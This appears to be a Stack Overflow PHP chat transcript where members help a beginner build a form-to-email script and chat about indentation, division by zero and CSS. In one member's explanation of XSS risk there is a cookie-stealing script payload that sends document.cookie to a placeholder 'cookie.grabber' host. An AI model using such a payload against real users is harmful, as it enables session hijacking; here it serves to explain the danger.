« first day (717 days earlier)      last day (4243 days later) » 

6:00 PM
@tereško That and the possibility of overflowing in the design
Both can be addressed though
 
user1596138
If anybody has any suggestions I'd be grateful.
 
user1125394
in your db you would use userID not username
 
user1125394
since username is changeable
 
@tereško hehe
and It's FREE! lol
 
user1596138
6:02 PM
@tereško hahahahaha nice!
 
@cyril I think that's up to the developer / client to make that decision. Usernames are almost never changeable.
AFAIK
 
@tereško Lol, that is awesome :D
 
user1596138
Anybody got any advice?
 
@JosiahSouth Regarding?
 
@JosiahSouth It's already in the $_POST super global. What's the question?
 
user1596138
6:04 PM
I'm ignorant. Lol
 
user1596138
I haven't ever used it like this. I'm on month 4 of my web development career ;)
 
@MadaraUchiha , it looks like rap , but it works
 
user1596138
Here's what I've been doing for every form. pastebin.com/z0LEt4wy
 
user1596138
That's the smallest one.
 
user1596138
6:11 PM
@PeeHaa ?
 
@JosiahSouth Wut?
 
user1596138
Nothin lol.
 
user1596138
I know I need to use foreach (XX) something but I don't know where to start.
 
@JosiahSouth You are already using a foreach loop so what's the problem?
 
user1596138
@PeeHaa I don't want to have to define a variable for each field on each form and have separate scripts for them all... I want to dynamically create variables based on input names and values. I've seen it done in a cgi script but I don't know how to do it in php.
 
6:20 PM
0
Q: How to store $_POST data in an array and access it with foreach

user1715120I am just wondering if how can you store $_POST variables into an array. I have several $_POST as follows: $_POST['cCode']; $_POST['sSubject']; $_POST['lect']; $_POST['rRoom']; $_POST['dDay']; $_POST['sTime']; $_POST['eTime']; How can I access them all at the same time using a foreach()? I k...

There is a search option on the site for a reason
php also has a nice manual which can be accessed for free
 
user1596138
No need to be a snob.
 
Then don't waste my time
 
user1596138
I searched and couldn't find anything. Because I didn't know what to do. Of course if I knew how to do it I'd know how to search for it ;)
 
user1596138
Or rather, WHAT to search for. Did I waste your time? No. You didn't have to acknowledge my presence at all. You choose to "help" me and then say I'm wasting your time? Haha, it's pathetic.
 
@JosiahSouth You @pinged me...
 
user1596138
6:25 PM
@PeeHaa When? Look at what I replied to with the ping.
 
user895378
yay tiny icons avatars!
 
And no you didn't search: google.com/…
@rdlowrey hiya mega idler :)
 
user895378
I have been a mega idler
 
user1596138
@PeeHaa Because I had no idea until now that that is how I would word this.
 
@rdlowrey Now that you mention it, it is new isn't it? :o
 
6:26 PM
@rdlowrey Only times I've seen your name was under the closed questions :D
 
user1596138
@PeeHaa I searched with my own understanding of it for about 45 minutes while I backed up the site.
 
user895378
@PeeHaa I recently re-enabled ping sound notification on cv-pls so I could do my part, even if busy writing code :)
 
@JosiahSouth chill out man
 
If you don't know how to use google stop developing. It's moar than 50% of the job
 
@PeeHaa It's more than 80% of the job really
 
6:27 PM
@MadaraUchiha lol <- b/c true
 
@rdlowrey Busy with Antriouyayeuie?
@MadaraUchiha True
 
user895378
@PeeHaa Lots of different stuff. I'm trying really hard to avoid implementing SSL/TLS protocol manually, but php's native ssl/tls stream wrapper implementation just sucks if you want any sort of fine-grained control.
 
user1596138
@PeeHaa What are we 13? Of course I know how to use google. I didn't know the term for what I was looking for. Say you want to find a brown furry animals name, but you don't know it. You look up the way you would best describe it and hope for the best. But when it's a much more complex and uncommon thing (to the general public) it isn't usually as easy.
 
@JosiahSouth Easy google.com/…
 
user895378
And I've had to spend a lot of time doing non-personal-project work over the last month or so, which also accounts for my mega-idle status.
 
user1596138
6:30 PM
Did you read my message at all? lol
 
Yup. looping is not that uncommon
Let me clear up my screen with the most useful feature of chat
@rdlowrey That's going to be a fucking pain I tell ya
 
user895378
@PeeHaa Yeah, I don't think I'm going to do it. At least not anytime soon.
 
@PeeHaa rofl
 
user895378
Tiny avatars are definitely the most useful feature in chat.
 
@rdlowrey dude. i just blocked him and immediately understood "yay tiny avatars!"
so hilarious
 
user895378
6:36 PM
The nice thing about tiny avatars is that you can reference them and the people with tiny avatars have no idea what you're talking about.
 
yikes, think i just blew that one
but hey fellas im gonna grab some lunch. i'll catch yall later
 
user895378
later
 
later
You know undefined can be assigned a value right? I mean it is javascript after all ;-) — PeeHaa 1 min ago
Gotta love JavaFuck
:P
 
does anyone know how binary data get's corrupted from server to db or db to server with pdo
 
user1596138
Anybody want to help me with what is probably a newbie question that I can't seem to figure out?
 
user1596138
6:44 PM
I know I need to use this loop
 
user1596138
foreach ($_POST as $key => $value)
{
$value = $value.',';
}
 
user1596138
But how do I incorporate it into my existing loop without breaking the script?
 
user1596138
foreach ($fields as $a => $b) {
    if (isset($_REQUEST[$a]) && !empty($_REQUEST[$a]))
        $body .= sprintf("%20s: %s\n", $b, $_REQUEST[$a]);
}
 
user1125394
join(',',array_values($_POST));
 
@Leigh Never heard of it before :) Is it worth reading the whole thing?
 
user1596138
6:47 PM
@cyril ?
 
anyone, no?
 
user1596138
This is my whole script. I'm trying to avoid defining variables manually like I did here pastebin.com/z0LEt4wy
 
@NikiC Thanks for fighting the good fight while I was AFK. You made me proud :)
4
 
user895378
@PeeHaa +1
 
:D
Tabs vs spaces is like the most important question in CS, ever!
 
user1125394
6:55 PM
@NikiC just because another people told me to change from 1 tab to 2 spaces, meh
 
user895378
ϕ^π spaces
 
user895378
^ That's not an emoticon, btw. It's phi raised to pi.
 
user1125394
iπ spaces
 
user895378
yes, units are of paramount importance :)
 
@rdlowrey -4e^iπ spaces is the only true form of indentation :)
 
user895378
6:57 PM
@NikiC You leave Euler out of this!
 
user1125394
@NikiC so you don't see <?php, just p, oh well wrong with the -
 
Though I guess a better way to write it is e^2(πi+ln2) :)
 
user1125394
prefer 2 now
 
user895378
Next time some noob rolls up arguing for tab indentations I'm going to drop Euler's identity on his or her face!
 
user895378
Math, bitch!
 
7:01 PM
@rdlowrey That's the reason they teach calculus to programmers ^^
 
user1596138
7:13 PM
Why does the output of $body come up as "value: Value" instead of "fields name: value" with this
 
user1596138
$body = "This form has been submitted:\n\n";
foreach ($_POST as $a => $b) {
    if (isset($_REQUEST[$a]) && !empty($_REQUEST[$a]))
        $body .= sprintf("%20s: %s\n", $b, $_REQUEST[$a]);
}
 
user1596138
? I know, I suck, it's pathetic. But I can't figure this out. I'm getting closer.
 
what the hell are you trying to accomplish ?
 
user1596138
I'm trying to send all my variables from a form which goes to my php script to my email. But I don't want to define every single variable by hand like I did here pastebin.com/z0LEt4wy
 
Tabs in source code are really good. I suggest everyone use them instead of spaces for indenting because they are so standardized and wonderful.
 
user1596138
7:19 PM
Trying to automatically create the variables.
 
user1596138
The array looks fine but now I need to send it properly formatted to our company email.
 
user1596138
Array
(
    [recipient] => info@whatzup.com
    [subject] => Music Cal/Perf
    [redirect] => whatzup.com/Feedback/thanks.html
    [Name] => josiah
    [email] => 1000
	etc......
)
 
user1125394
spaces indents looks like the old way
 
@JosiahSouth I am really impressed with how many weird misconceptions you've managed to squeeze into such a small amount of code :-P
 
user1596138
7:28 PM
Thanks.... lol. It's been a big experiment basically. Would you mind giving suggestions?
 
@JosiahSouth I'll give you a couple of clues: 1) you don't need to go anywhere near $_REQUEST 2) $a contains field name, $b contains the value.
 
user1596138
Well I'll admit part of this was a copy/paste job a long time ago from someone else. I've just been trying to adapt it to my needs as I'm pretty new.
 
user1596138
So, $body .= sprintf("%20s: %s\n", $a, $b);?
 
@JosiahSouth
$messageBody = '';
foreach($_POST as $key => $value)
{
	$messageBody .= $key . ': ' . $value . "\n";
}
 
We'll set aside the huuuuge security holes you are creating for the minute
 
7:31 PM
@DaveRandom that's what i was thinking heh. btw, is your avatar you or your child?
 
Oh yeh that's another point that @Lusitanian has rightly made, you don't need sprintf() either.
 
user1596138
Haha I know, I haven't worked on the security yet. This won't be going live for awhile... But we're a small entertainment company and I don't see what one would gain from fucking with us. I'd just put it back up the way it was.
 
It doesn't matter what people would gain
they'll do it anyway. Regardless, you should almost always pretend like ultra-hax0rs are after you... or at least script kiddies
 
user1596138
Eh, that can wait till it's more functional, right now I'm just learning.
 
7:33 PM
@Lusitanian That would be my child, I wish it was me though, I'd like to not have to do anything but sleep eat and play again.
 
hehehe
 
user1596138
Hahaha so wait. no sprintf either?? I am thoroughly confused :P
 
front-facing camera and wimax, y u no work on android 4+ :(
@JosiahSouth why would you want sprintf?
you can just use string concatenation
 
user1596138
Hold on while I google concatenation
 
user1596138
lol
 
7:34 PM
It means "joining things together"
 
user1596138
Oh nvm I knew that.
 
"hello " . "world" - thats concatenation
 
user1596138
just didn't know the word.
 
i'm assuming that's actually the page in question
 
user1596138
Hmm... If someone wants to edit that paste bin post and put a bunch of *** in all the places I fucked up that'll give me a start... And I'll give you a virtual high five. ;)
 
7:37 PM
@JosiahSouth It's worth knowing, a lot of languages (mainly DSLs?) such as SQL and XPath use an explicitly named CONCAT() function for joining strings together.
 
user1596138
Hmm... Did you just make an educated guess based on that redirect url? I'm robbing the script I wrote for that page for a different one actually. The "payoption" variable and such are from other things carried over as well.
 
user1596138
@Lusitanian This is what my previus message was to..
 
user1596138
@Lusitanian How'd you know which page the script was for?
 
clicking your profile
on stackoverflow
 
user1596138
7:41 PM
I see.... Well anyway.
 
i also learned that you're a year older than me and have 40 rep and live in the midwest
but anyway
if you really want to email yourself every variable which is posted
with no regard to security
 
user1596138
Got things working.
 
user1596138
Haha I see... Sounds like you got a nice start on things. I started here 4 months ago. What's the biggest security flaw you see? Aside from defining the admin variable
 
@Lusitanian His age is ambiguous though. It says 18 in the profile, but 17 in the description ^^
 
7:45 PM
@NikiC but the profile age is based on the birthday, hence why I utilized that value
the description is manually updated --- but I did notice that :P
 
user1596138
My age? When I made my account I was 17. Now I'm 18 so maybe somethings retarded haha.
 
Welcome to the PHP chat room, where we all seem creepy....
 
@Lusitanian Makes sense :D
 
Your issue is that you are letting anyone submit any arbitrary value directly into your email inbox.
 
user1596138
There... Fixed haha
 
7:46 PM
Granted, it's a plaintext email so it's not as bad as it could be
but consider the following submission:
<script>window.location = 'http://cookie.grabber/cookiegrab.php?cookies=' + encodeUriComponent(document.cookie);</script> placed in the comments field
you open the email and I now have access to your email account
that's bad.
 
user1596138
Now I'm not THAT naive ;P. It isn't quite that simple lol but yes I see the point.
 
well, that would work with the code you showed us
 
user1596138
Although common email providers like gmail and yahoo have scripts disabled by default.
 
and you want to rely on them to cover for your insecure form? :P
 
user1596138
Just pointing it out lol.
 
7:49 PM
@Lusitanian naaah , it's just you who is creepy
 
@tereško point taken
(and apparently @NikiC who dove right into that profile discussion)
no one say "mvc"
 
i am usually described as "angry asshole"
 
yup
 
user1596138
Any suggestions? Is it better to use my forms with manual defined variables? Because I could see how you could do the exact same thing then too.
 
@JosiahSouth , what have you been trying to solve ?
what's the context ?
 
7:51 PM
$formVars = array('email', 'name', 'phone'); foreach($formVars as $var) { $body .= "$var: {$_POST[$var]}"; }
@tereško he wants a contact form that emails him every single variable that was submitted via POST
...un escaped
 
user1596138
Sending multiple forms from my website to my email with php. But not having to define a variable for every field in the form. This has been accomplished... But now I'm looking at security lol I see SOOOO many holes and I'm sure you all see more.
 
@Lusitanian What's the problem with doing so?
 
@NikiC doing what --- too many topics of conversation :P
 
I mean, assuming the mail is text/plain...
 
assuming it's plaintext XSS won't be an issue
but an attacker can send fun invalid characters to crash poorly-written email clients and generally annoy people
so it's still better to escape/sanitize
 
7:53 PM
@NikiC Someone might ascii-art rick roll you, you have to filter stuff like that lest someone die laughing.
 
i fail to see the general point in this
 
@DaveRandom exactly think about the Rick Astley fans
@tereško i don't think anyone here does
 
just sent a json_encode( $_POST );
 
What if it's destined for someone other than Jason?
 
-________________________________________________________-
 
7:56 PM
I smell a bad pun...
 
Right, that's it, no more SO chat for me until I get the terrible jokes out of my system. I'm going to irritate my GF
 
user1596138
Haha ok I'm confused.
 
This is your brain. This is your brain on DaveRandom's jokes.
 
:D
 
user1596138
7:58 PM
So... Just let it go?
 
user1125394
Does people have experience with server push in php zeitoun.net/articles/comet_and_php/start ?
 
anyone in here have any experience with Vs.Php from jcx software?
 
PHP with Visual Studio ....
needs moar phpstorm
 
fuck, where did all the beer go
 
8:07 PM
why do i get the sense that you'd be a beer snob in the same way that you're a code snob
 
so I'm naturally a C# programmer, but I've got a project I wanna do in php, wondered if it was worth the $100 to work in an environment I'm more familiar with, or if there was something cheaper that worked just as good...
 
vim. it's free.
 
but honestly --- phpstorm is the best PHP ide there is
netbeans is good and free, and there's eclipse pdt as well
 
I'm somewhat familiar with eclipse from years ago
I haven't touched php in about 5 years... I'm sure I'm in for some culture shock
 
8:10 PM
@NikiC would agree with me that phpstorm is the way to go if you're willing to spend $100
yeah you are
out of curiosity, why'd you decide to do this particular project in PHP?
 
I think they were just introducing the concept of classes when I moved to strictly C#
 
nah that was in php 4
 
PHP6 is almost out by now. Ow wait...
 
user1125394
 
hello again felas
 
8:12 PM
I heard PHP6 is going to require tabs as indentation :P
 
PHP... I had a handful of options, but primarily cheaper hosting, and I think I can complete it faster once I get going, since most of the real grunt work in this project is going to be JavaScript (please shoot me for taking this one on...)
 
why do you care about the cost of hosting? ;P
 
user1125394
version "0.2" is scaring but will test that
 
@Lusitanian , stop trying to incite a flamewar
 
8:14 PM
I don't hugely care about the cost of hosting, but some of the integration points were already done in PHP anyway, so it was a bonus
 
@tereško fine
@NathanWheeler ah okay
so what exactly do you need to code then
 
I could have integrated anyway using a hybrid C# approach, but... cleaner just to do all in one language
 
considering you haven't used the language in 5 years
 
everything else LoL
I'll need to do all the database work, layout, some AI work... that sort of thing
 
my condolences
 
8:17 PM
web platforms are (in my experience) not the optimum platform for AI either
 
Right I'm back. I think I can be sensible and play nicely and not make any more terrible jokes after my time on the naughty step.
 
(not because you decided to use php, but because you have to stick it together with 3rd party php code )
 
@DaveRandom you may remove the "dunce" cap!
 
<looks sheepish>
 
@tereško more like I'm going to wrap in some 3rd party components
which I can't even get until I have a site up that they'll approve (they're pretty ridiculous about handing out their integration code)
 
8:20 PM
interesting -- amazon added RDS to their free usage tier
its really too bad they don't support postgresql
 
ok, I need a smoke break... I'll be back later if I want more input :)
 
blah
 
user1125394
this chat is based on push I guess?
 
@cyril no
polling
 
user1125394
but how do you poll without killing your database
 
user1125394
8:24 PM
they must cache a lot, the lastest messages
 
@Lusitanian Indeed
 
0
A: Can I handle an "undefined" case in a switch statement in JavaScript?

ircmaxellWell, the most portable way would be to define a new variable undefined in your closure, that way you can completely avoid the case when someone does undefined = 1; somewhere in the code base (as a global var), which would completely bork most of the implementations here. (function() { var f...

 
@cyril @Lusitanian Isn't it more WebSocket driven if you're in a browser that supports it? In which case you can do push and you can skip a lot of DB traffic by caching messages in the WebSocket daemon. You basically only need to go to the database to store new messages and to get a history for new page loads, all the live chat can be pushed around to your heart's content.
 
@ircmaxell Not sure, but don't you feel a bit overly paranoid?
I mean, like, you won't define a new undefined variable every time you need to use the value, right?
 
@NikiC Yes, unless I'm dealing with typeof where I'd use a string
 
user1125394
8:29 PM
@Lusitanian @DaveRandom looking the page scripts there are some websockets
 
Also, in JS you commonly access all kinds of global objects, you can't really prevent someone from messing with your code.
you just assume that the enviroment won't be totally insane
 
unless you're writing a jquery plugin --- in which case you assume the environment is totally insane
 
Well, if you're building 3pd tools, depending on global state like that is going to be a disaster
 
user1125394
the websockets are just for the people coming and leaving I guess, and notifis
 
@ircmaxell Not sure, but that sounds like total BS to me :/
Like, what do you do when you want to access document for example?
how do you make sure that it wasn't tempered with?
 
8:32 PM
There are safe global states, things like window.location, window.document, etc. Things where it would blow up everything to change. And things like this where it's just an inocuous variable that won't change 99.99% of code, but when it does it won't blow up, it'll just silently change meaning
 
Good that I never saw JS code from you ;)
I guess that it would highly annoy me :D
 
why?
 
user1125394
js = 1/0^(-1)
 
2
Q: How do I theme print_r into collapsible rows?

timofeyDoing print_r, returns pages and pages of code; it's too hard to scroll pages to match children to parents, even wrapped with <pre> tags. Is there a way to theme print_r into collapsible fields. Maybe an online generator, where I can post the contents of the print_r($array); and get a coll...

lol @ this ^
 
@cyril
 
user1125394
8:37 PM
@ircmaxell whats wrong with Infinity^-1
 
1/0 != infinity
 
user1125394
1/0 == Infinity
true
 
@ircmaxell 1/0 === Inf.
 
@ircmaxell But it's close :)
 
ANY expression containing 1/0 must be undefined. 1/0^-1 is still undefined...
@MadaraUchiha No, it's not
 
8:38 PM
@ircmaxell wtf?
 
@NikiC No, it's most definitely not
 
1/0 is a well defined operation according to IEE 754
 
user1125394
Js != Maths
 
@NikiC it's undefined since you're dividing by zero
at least according to my math teacher when i was 10
 
@ircmaxell Mathematically it is, but if you need a hard definition, x/0 and thereby 1/0 is undefined indeed.
 
user1125394
8:39 PM
actually 1/0+ == Infinity
 
1/0 has to be +Inf. 1/-0 has to be -Inf. 0/0 has to be NaN.
That's just the way it is.
 
the limit of 1/x as x approaches 0 is infinity, but 1/0 is NOT infinity, it's undefined...
 
@cyril No, lim(1/0+) == +Inf
 
0/0 is undefined as well
 
user1125394
8:39 PM
yes with lim ^
 
I'm having this weird issue. Why does this echo the wrong date? It's like in the 1970's ^_^

$date = date('d/m/Y h:i:s A', $orig_date);
$newdate = strtotime ( '+ 1 day' , strtotime ( $date ) ) ;
$newdate = date($format, $newdate);
echo $newdate;
 
user1125394
0/0
NaN
 
@ircmaxell if 1/0 is mind blowing, 0/0 is about the equivalent of Chuck Norris being hit by a Nokia 3310.
 
@ircmaxell I think this discussion makes little sense without defining what we are talking about
 
@NikiC I'm talking the basic rules of math
 
8:41 PM
@ircmaxell If you're talking about the dry laws, than yet, 1/0 == undefined.
 
IEE754 may say different...
 
"dry laws"?
 
$orig_date is equal to 02/10/2012 09:41:25 PM
 
As mentioned, for IEEE 754 floating points all of those are well-defined. For integers they are not. If you are talking about mathematics, it also depends on the number system. If you are using real numbers, sure it's not defined. If you are using extended real numbers, it is well defined.
 
@Lusitanian textbook laws
 
8:42 PM
ah
 
I'm talking about math here
 
user379888
Hello all. Its a little off topic but do you all think that the menu looks fine?
http://startupsandfinance.com/cise5/cise_blue/index.html
 
@NikiC ummm... No... The only case in math where 1/0 is defined is in some abstract discrete algebras where division is a state transform instead of an operator...
 
@StartupCrazy Slight flaw
When I hover the second menu, and the submenu opens, there's a small gap that breaks the hover (hence closing the menu), at least on Chrome.
 
user1125394
and flash sucks
 
8:44 PM
@ircmaxell You had me until abstract.... Aaaaaaaaand it's gone
 
And in some non-real number systems...
 
@cyril That too.
 
user379888
@MadaraUchiha: Thanks for pointing that out. I have also faced that problem.
 
@ircmaxell I was referring to R∪{-∞,+∞}, which is a number system used commonly enough and for which 1/0 can be a well-defined operation.
 
user379888
@MadaraUchiha: There is a little space left after all the menu items. I hope that its not looking bad as this site is for my university.
 
8:46 PM
@StartupCrazy You could probably do something in that space. Be creative
Though I'm not sure why it's there.
 
user1125394
@NikiC the only thing it should be either 1/0- or 1/0+, with a limit if you want
 
@NikiC It can be defined, but that makes the number system inconsistent... Which is why it's not defined in the reals...
 
@ircmaxell Anyway, my point is that from a JS programmers perspective (and this is what we originally were talking about) 1/0 is indeed Inf. Even if that might go against formal real number mathematics ;)
 
@cyril what they're talking about is way above highschool level, let it go :P
 
@NikiC I don't care. Division by zero is still division by zero. No matter anything else in the algorithm...
 
8:49 PM
@StartupCrazy Here's a neat little trick, you use box-sizing: border-box on your menu items (I recommend everything), and then width: 20%; will be 20% regardless of border or paddings. Give it a try
 
@ircmaxell heh
 
user379888
@MadaraUchiha: I missed to understand you completely this time.
 
Example output
 
user379888
awesome!
 
@StartupCrazy Do you know the CSS box model well?
 
8:52 PM
hi there
 
user379888
@MadaraUchiha:No, sorry.
 
user379888
I would love it if you help me a bit more. Sorry I do not know much about it.
 
@StartupCrazy Here's a good article: css-tricks.com/the-css-box-model
 
user379888
@MadaraUchiha: Thanks for that. I have to add width:20%; to the a tag of menu?
 
8:56 PM
@StartupCrazy Now here's the catch
You have margin | border | padding | width | padding | border | margin
So if you set 20% width, it won't take the border into account, and the whole thing will break apart
(Because it'll be 20% + those 2px from the border)
That's what the box-sizing property fixes, when you set it to border-box, you're actually saying "Include the border and the padding within the width"
So "20%" becomes "20% border and padding included", so the border won't break
All in all, box-sizing: border-box; width: 20%; on the LI
 
user379888
Thats cool.
 

« first day (717 days earlier)      last day (4243 days later) »